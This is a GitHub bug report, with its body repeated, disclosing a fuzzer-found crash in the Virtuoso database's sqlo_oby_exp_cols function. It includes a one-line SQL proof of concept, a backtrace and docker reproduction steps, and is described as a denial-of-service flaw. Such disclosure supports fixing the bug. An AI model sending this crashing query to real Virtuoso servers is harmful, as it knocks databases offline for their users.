Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_oby_exp_cols`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT RAND ( ) FROM SYS_KEY_COLUMNS GROUP BY ( - 4294967295 );
```

backtrace:
```c
#0 0x78c197 (sqlo_oby_exp_cols+0x147)
#1 0x7889e3 (sqlo_select_scope+0x10b3)
#2 0x777783 (sqlo_scope+0x4b3)
#3 0x714661 (sqlo_top_2+0x41)
#4 0x7142b5 (sqlo_top_1+0x135)
#5 0x716066 (sqlo_top_select+0x156)
#6 0x6bf21b (sql_stmt_comp+0x8bb)
#7 0x6c20b2 (sql_compile_1+0x1a62)
#8 0x7d5b40 (stmt_set_query+0x340)
#9 0x7d7a32 (sf_sql_execute+0x922)
#10 0x7d8dbe (sf_sql_execute_w+0x17e)
#11 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#12 0xe2a11c (future_wrapper+0x3fc)
#13 0xe31a1e (_thread_boot+0x11e)
#14 0x7f13673ee609 (start_thread+0xd9)
#15 0x7f13671be353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_oby_exp_cols`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_oby_exp_cols`
Issue date:

--- start body ---
Fuzzer: Virtuoso 7.2.12 crashed at `sqlo_oby_exp_cols`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT RAND ( ) FROM SYS_KEY_COLUMNS GROUP BY ( - 4294967295 );
```

backtrace:
```c
#0 0x78c197 (sqlo_oby_exp_cols+0x147)
#1 0x7889e3 (sqlo_select_scope+0x10b3)
#2 0x777783 (sqlo_scope+0x4b3)
#3 0x714661 (sqlo_top_2+0x41)
#4 0x7142b5 (sqlo_top_1+0x135)
#5 0x716066 (sqlo_top_select+0x156)
#6 0x6bf21b (sql_stmt_comp+0x8bb)
#7 0x6c20b2 (sql_compile_1+0x1a62)
#8 0x7d5b40 (stmt_set_query+0x340)
#9 0x7d7a32 (sf_sql_execute+0x922)
#10 0x7d8dbe (sf_sql_execute_w+0x17e)
#11 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#12 0xe2a11c (future_wrapper+0x3fc)
#13 0xe31a1e (_thread_boot+0x11e)
#14 0x7f13673ee609 (start_thread+0xd9)
#15 0x7f13671be353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.12 and 7.2.13-dev.3239-pthreads occurs when executing a specific SQL query that causes a crash in the `sqlo_oby_exp_cols` function. This vulnerability can be exploited to cause a Denial of Service (DoS) by crashing the database server.